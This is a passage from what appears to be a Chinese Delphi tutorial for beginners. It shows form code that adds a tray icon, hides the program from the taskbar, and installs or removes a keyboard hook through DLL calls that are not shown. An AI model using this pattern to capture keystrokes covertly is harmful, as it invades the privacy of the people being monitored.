procedure TForm1.FormCreate(Sender: TObject);

begin

normalicon:=ticon.create;

application.title:=caption;

nid.cbsize:=sizeof(nid);

nid.wnd:=handle;

nid.uid:=icon_id;

nid.uflags:=nif_icon or nif_message or nif_tip;

nid.ucallbackmessage:=mi_iconevent;

nid.hIcon :=normalicon.handle;

strcopy(nid.sztip,pchar(caption));

nid.uFlags:=nif_message or nif_icon or nif_tip;

shell_notifyicon(nim_add,@nid);

SetWindowLong(Application.Handle,

GWL_EXSTYLE,WS_EX_TOOLWINDOW);

end;

procedure TForm1.sethook1Click(Sender: TObject);

begin

setkeyhook;

end;

procedure TForm1.endhook1Click(Sender: TObject);

begin

endkeyhook;

end;

procedure TForm1.FormDestroy(Sender: TObject);

begin

nid.uFlags :=0;

shell_notifyicon(nim_delete,@nid);

end;

procedure TForm1.Close1Click(Sender: TObject);

begin

application.terminate;

end;

该程序虽然只用了几个shellai函数，但是它涉及到了在Delphi中对DLL的引用、钩子实现、对指示区的操作、

用户定义消息的处理、文件的读写等比较重要的内容，我相信这篇文章能对许多Delphi的初学者有所帮助。

该程序在Win98、Delphi4.0中正常运行。